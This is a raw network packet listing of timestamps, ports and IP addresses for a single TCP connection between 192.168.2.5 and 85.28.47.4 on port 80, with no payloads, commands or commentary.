Jul 2, 2024 04:12:08.626188040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626204014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626259089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626270056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626286030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626298904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626302004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626315117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626331091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626343012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626344919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626344919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626360893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626365900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626374960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626408100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626421928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626651049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626662016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626703978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626713991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626717091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626733065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626754045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626754045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626771927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626781940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626794100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626794100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626816034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626830101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626869917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626884937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626897097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626914024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626940012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626944065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626950026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626960039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626976013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626991987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626991987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627023935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627033949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627048969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627058029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627073050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627074957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627089024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627099037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627106905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627120018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627125978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627135992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627146006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627170086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627177954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627203941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627213955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627235889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627249002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627254009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627273083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627274990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627285004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.627319098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.627338886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628072977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628083944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628099918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628120899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628149033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628149033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628170967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628173113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628184080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628211975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628221989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628227949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628240108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628245115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628261089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628268003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628277063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628297091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628357887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628370047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628391981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628400087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628400087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.628415108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.628428936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629224062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629235029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629251957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629276037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629296064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629307032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629317999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629333973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629345894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629350901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629371881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629398108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629463911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629478931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629497051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629509926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629522085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629534960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629597902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629611015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629630089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629641056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629642010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629658937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629664898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629687071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629697084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629703045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629714966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629729986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629745007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629745007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629757881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629764080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629770041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629782915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629791021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629800081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629803896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629815102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.629823923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629832983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.629853010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630024910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630069017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630135059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630150080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630182028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630193949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630213976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630224943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630242109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630256891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630263090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630278111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630279064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630295992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630306959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630317926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630319118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630330086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630333900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630357027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630359888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630367994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630373955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630388021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630393982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630404949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630413055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.630419970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.630460978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715357065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715390921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715399981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715421915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715447903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715504885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715514898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715538979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715552092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715563059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715585947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715589046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715595961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715614080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715622902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715637922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715642929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715648890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715667009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715675116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715679884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715687990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715709925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715718985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715730906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715734959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715768099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715768099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715769053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715779066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715795994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715812922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715822935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715837002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715843916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715853930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715859890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715874910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715884924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715888023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715895891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715903044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715914011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715913057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715939999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715945959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715960979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715965986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715971947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.715987921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.715991020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716008902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716010094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716018915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716034889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716034889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716037035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716044903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716054916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716058969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716070890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716078043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716087103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716089964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716105938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716131926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716147900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716157913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716176033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716188908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716195107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716219902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716223955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716234922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716243029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716254950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716262102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716268063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716270924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716290951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716293097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716301918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716310978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716324091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716336966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716350079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716382980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716408968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716418028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716450930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716475964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716495991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716507912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716512918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716519117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716550112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716558933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716563940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716568947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716587067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716588974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716599941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716614962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716624022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716629028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716629028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716629982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716634989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716654062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716658115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716681957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716687918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716696978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716711044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716734886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716749907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716779947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716789961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716806889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.716825008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.716841936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.717624903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.717633963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.717648983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.717684031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.717706919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.717716932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.717736006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.717741013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.717744112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.717767000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.717796087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718106985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718118906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718135118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718147039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718153954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718163013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718175888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718188047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718192101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718204021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718214035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718239069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718871117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718914986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718928099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.718939066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718950033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.718980074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719014883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719023943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719041109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719053030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719052076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719090939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719233036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719247103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719269037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719274998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719283104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719295025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719299078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719305992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719324112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719333887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719336987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719351053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719362020 CEST	49704	80	192.168.2.5	85.28.47.4
